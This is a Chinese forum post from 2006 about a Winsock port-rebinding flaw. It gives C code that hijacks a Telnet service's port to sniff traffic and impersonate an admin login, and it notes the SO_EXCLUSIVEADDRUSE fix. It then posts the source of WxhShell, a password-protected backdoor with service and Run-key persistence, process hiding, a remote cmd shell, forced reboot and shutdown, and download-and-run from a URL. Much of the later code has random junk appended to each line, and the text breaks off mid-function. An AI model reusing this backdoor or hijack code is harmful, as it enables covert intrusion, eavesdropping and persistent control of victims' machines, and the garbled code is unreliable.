[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; :d9GkC
if(chr[0]==0xd || chr[0]==0xa) { 3e;|KU
pwd=0; y>x"/jzF#
break; ?wPTe^Qtv
} V\x'w*FP
i++; vT0Op e6m
} dp^PiyL
'g,_lF
// 如果是非法用户，关闭 socket Be]z @E1x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l"E{ ?4
} Ycm.qud ?
z^`4n_(Ygu
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K"XwSZ/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~`&4?c3p
8|{ZcW
while(1) { e|~{X\l
P8ej9ULX,
ZeroMemory(cmd,KEY_BUFF); :t!J 9
FS&QF@dtgf
// 自动支持客户端 telnet标准 /klo),|&
j=0; 'l<$H=ZUVG
while(j<KEY_BUFF) { VnSO>O
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BM:p)%Pv#P
cmd[j]=chr[0]; ~&p]kmwXSX
if(chr[0]==0xa || chr[0]==0xd) { 5I6?gv/
cmd[j]=0; TM{m:I:Z*n
break; *~6]IWN`
} Cj3Xp~
j++; -M6vg4gf
} 0'r}]Mws
]kmAN65c
// 下载文件 flqr["czwK
if(strstr(cmd,"http://")) { N?{Zrff2"O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); d7b`X<=@s
if(DownloadFile(cmd,wsh)) -u%o);B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU"AO}6\@
else uc!6?+0h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4`#%<G
} ,Aq, f$5V
else { .aa7*e
p%>!1_'(
switch(cmd[0]) { }])j>E
M<Z#4Gg#4
// 帮助 ( zm!_~1
case '?': { `k I}p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XU}i<5
break; xP1D 9
} 4jZt0
// 安装 p +JOUW
case 'i': { *B&i`tq
if(Install()) Z%.Ld2Q{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4xs>X7
else u];\v%b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fvTp9T\f3
break; 6tVp%@
} ]nIVP
// 卸载 E]a,2{&8<
case 'r': { %:l\Vhhz
if(Uninstall()) 8j&1qJx)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2-g 5Gb2|
else C\C*@9=&x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Oj!J&A
break; yP@#1KLa+
} 'g)5vI~'
// 显示 wxhshell 所在路径 \@ZD.d#
case 'p': { Pvkr$ou
char svExeFile[MAX_PATH]; Vz,"vBds
strcpy(svExeFile,"\n\r"); V^G+_#@,,
strcat(svExeFile,ExeFile); 2U+wiE|
send(wsh,svExeFile,strlen(svExeFile),0); \"K:<+RH
break; "wV7PSbM
} +Sv2'& B
// 重启 Jn0L_@
case 'b': { &s.-p_4w^D
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ebm,3?
if(Boot(REBOOT)) J(,gLl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^e e<%-
else { G8W^XD
closesocket(wsh); Y-DHW/Z~
ExitThread(0); 7&|&y SCu
} w01\KV
break; m<4tH5};d
} ,}OQzK/"mP
// 关机 Bb5RZ#oa
case 'd': { ]'i}}/}u2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l=&Va+K
if(Boot(SHUTDOWN)) #|l#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h5H#xoCXp
else { y=y#*yn&
closesocket(wsh); ZoKXao
ExitThread(0); [ 3SbWwg
} c$%I^f}'
break; Fmrl*tr
} +-:G+9L@
// 获取shell hKK"D:?PRs
case 's': { xb(y15R\I
CmdShell(wsh); { r8H5X
closesocket(wsh); z"@UNypc,
ExitThread(0); T 3+lYE
break; xOpCybmc
} !='&#@7u
// 退出 $k3l[@;hE
case 'x': { nR$Q~`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u#34mg..
CloseIt(wsh); e#uF?v]O
break; yYZ0o.<&T*
} 2Yd;#i)
// 离开 }%eXGdC
case 'q': { <Okl.Iz>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Ry4w|w
closesocket(wsh); *e-+~/9~
WSACleanup(); {f)"F;]V
exit(1); y 4jelg
break; wTY8={p]
} Gl>_C@n0h
} P"mD73a
} {B lM<
8klu*
// 提示信息 vb Mv8Nk
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZiOL7#QWX
} d>NM4n[h8
} ;7Y4v`m
2f$6}m'Ad
return; mC(q8%/;
} qBIKJ
a5xp[TlXn.
// shell模块句柄 GE[J`?E]
int CmdShell(SOCKET sock) >w"k:O17
{ ^h@1tFF
STARTUPINFO si; hzjEO2
ZeroMemory(&si,sizeof(si)); ]RJcY1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xm2p<Xu8h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ! uyC$8V*l
PROCESS_INFORMATION ProcessInfo; Q7$K,7flf;
char cmdline[]="cmd"; IZkQmA=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .3.oan*i
return 0; wd`lN,WiW
} >1Y',0v
+5+?)8Ls
// 自身启动模式 >)3[CU,
int StartFromService(void) *g<D p2`
{ ]%PQ3MT.
typedef struct t:G67^<3
{ Q,mmHw.`J
DWORD ExitStatus; SGREpOlJ+
DWORD PebBaseAddress; A%pBvULH
DWORD AffinityMask; TYQ7jt0=.-
DWORD BasePriority; M8BN'%S
ULONG UniqueProcessId; S=o1k
ULONG InheritedFromUniqueProcessId; Uva b*9vX
} PROCESS_BASIC_INFORMATION; <Yk#MeiEp
=;9*gDfD
PROCNTQSIP NtQueryInformationProcess; KU> $=Rd
f@%H"8w!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x05yU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L)cy&"L|
q7 ;TdQ
HANDLE hProcess; MW^,l=kqW)
PROCESS_BASIC_INFORMATION pbi; `H5n_km
oc>ne]_'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PyD'lsV
if(NULL == hInst ) return 0; hDp -,ag{
X/_e#H0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G.3qg%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @"9^U_Qf1z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <(YmkOS+
Y7yh0r_
if (!NtQueryInformationProcess) return 0; OA\2ja~+
@tY)s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d3fF|Wp1
if(!hProcess) return 0; q^ {Xn-G
c5?;^a[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \>8"r,hG|
jJc?/1jv
CloseHandle(hProcess); xr uQ=Q
GoI3hp(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kf<-PA
if(hProcess==NULL) return 0; E>tlY&0[$
;F@N2j#
HMODULE hMod; #:{Bd8PS
char procName[255]; rzH*|B0g
unsigned long cbNeeded; pJC@}z^cw
hKq#i8py
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N4$!V}pp
bDa(@QJ-
CloseHandle(hProcess); yIBT*,4
sT"U}
if(strstr(procName,"services")) return 1; // 以服务启动 lHBk&UN'
=@U~sl[
return 0; // 注册表启动 #/NZ0IbHk
} S3V3<4CB
.0l0*~[
// 主模块 Bb^CukS:
int StartWxhshell(LPSTR lpCmdLine) #?)g?u%g=
{ PN ,pEk|
SOCKET wsl; e"u=4nk
BOOL val=TRUE; {AbQaw
int port=0; CzKU;~D=B
struct sockaddr_in door; EQDsbG0x
6/ir("LK
if(wscfg.ws_autoins) Install(); -~O7.E(ok
c:0nOP
port=atoi(lpCmdLine); ?mxBMtc
29DYL
if(port<=0) port=wscfg.ws_port; vA rM.Bu>b
\2(Uqf#_
WSADATA data; L~_3BX
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Wa4d`K
$Hcp.J[O
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0|g|k7c{rF
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p._BG80
door.sin_family = AF_INET; ~1&%,$fZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); J0BA@jH5
door.sin_port = htons(port); USLG G}R
Az.(tJ X"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iaAVGgA9+
closesocket(wsl); +cQGX5 K
return 1; /t=R~BJu
} C8qA+dri
pPt7M'uL"
if(listen(wsl,2) == INVALID_SOCKET) { uMl.}t2uYu
closesocket(wsl); U$o\?4
return 1; dn0?#=
} / sI0{
Wxhshell(wsl); :7&#ej6
WSACleanup(); J [}8&sn
U 2k^X=yl
return 0; xBH`=e<
6x%uWZa'
} >SO !{
_,V 9^
// 以NT服务方式启动 $Lpt2:.((
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,H!E :k
{ hhjT{>je
DWORD status = 0; ax{+7 k
DWORD specificError = 0xfffffff; b X.S`
siveqz6h
serviceStatus.dwServiceType = SERVICE_WIN32; )-$Od2u2c
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FG.MV-G
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <4,hrx&.
serviceStatus.dwWin32ExitCode = 0; l \~w(8g<A
serviceStatus.dwServiceSpecificExitCode = 0; @QiuCB
serviceStatus.dwCheckPoint = 0; 1U[8OM{$
serviceStatus.dwWaitHint = 0; ;ru=z@
J6Uo+0S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vto^[a6?
if (hServiceStatusHandle==0) return; "&;>l<V
28qTC?
status = GetLastError(); ,$irJz F
if (status!=NO_ERROR) v%O KOrJ
{ &Rw4ub3
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y;3DU1MG0
serviceStatus.dwCheckPoint = 0; X`kTbIZ|
serviceStatus.dwWaitHint = 0; wi'CBfr'z
serviceStatus.dwWin32ExitCode = status; o*OYZ/_L
serviceStatus.dwServiceSpecificExitCode = specificError; h3rdqx1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pv<$ o
return; ;Z]i$Vi_r
} g?,\bmHE
w"Gci~]bXU
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0BF'@r";
serviceStatus.dwCheckPoint = 0; ]?!#*<t r
serviceStatus.dwWaitHint = 0; 2pR+2p`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D#VUx9kugv
} )anprhc
?` ?HqR0
// 处理NT服务事件，比如：启动、停止 "^/3?W>
VOID WINAPI NTServiceHandler(DWORD fdwControl) WI@l2`X
{ '3B"@^]
switch(fdwControl) fpd4 v|(
{ .gZ1}2GF=
case SERVICE_CONTROL_STOP: 62L,/?`B$
serviceStatus.dwWin32ExitCode = 0; 1 Hw%DJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; D(bQFRBY6"
serviceStatus.dwCheckPoint = 0; l@edR)n <
serviceStatus.dwWaitHint = 0; !2YvG%t^6
{ MaMP7O|W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >;wh0dBe
} V)|]w[(Y
return; lVb{bO9-O
case SERVICE_CONTROL_PAUSE: .J?cV;:`
serviceStatus.dwCurrentState = SERVICE_PAUSED; -@=As00Bg
break; 42E%&DF
case SERVICE_CONTROL_CONTINUE: B!J~ t8
serviceStatus.dwCurrentState = SERVICE_RUNNING; o8uak*"{
break; 6*W7I-A
case SERVICE_CONTROL_INTERROGATE: t4Q&^AC
break; 2~ [
}; _tba:a(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pk2=*{:W
} LH_VdLds
ya`Z eQ-p
// 标准应用程序主函数 \mp2LICQg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;T-`~
{ $kAal26z
o5h*sQ9
// 获取操作系统版本 =lb5 #
OsIsNt=GetOsVer(); 3ncL351k
GetModuleFileName(NULL,ExeFile,MAX_PATH); nO#a|~-))
%fJ~3mu
// 从命令行安装 lGhhH_
if(strpbrk(lpCmdLine,"iI")) Install(); #[odjSb
;Q.'u
// 下载执行文件 Iz_#wO
if(wscfg.ws_downexe) { $cSmubZK
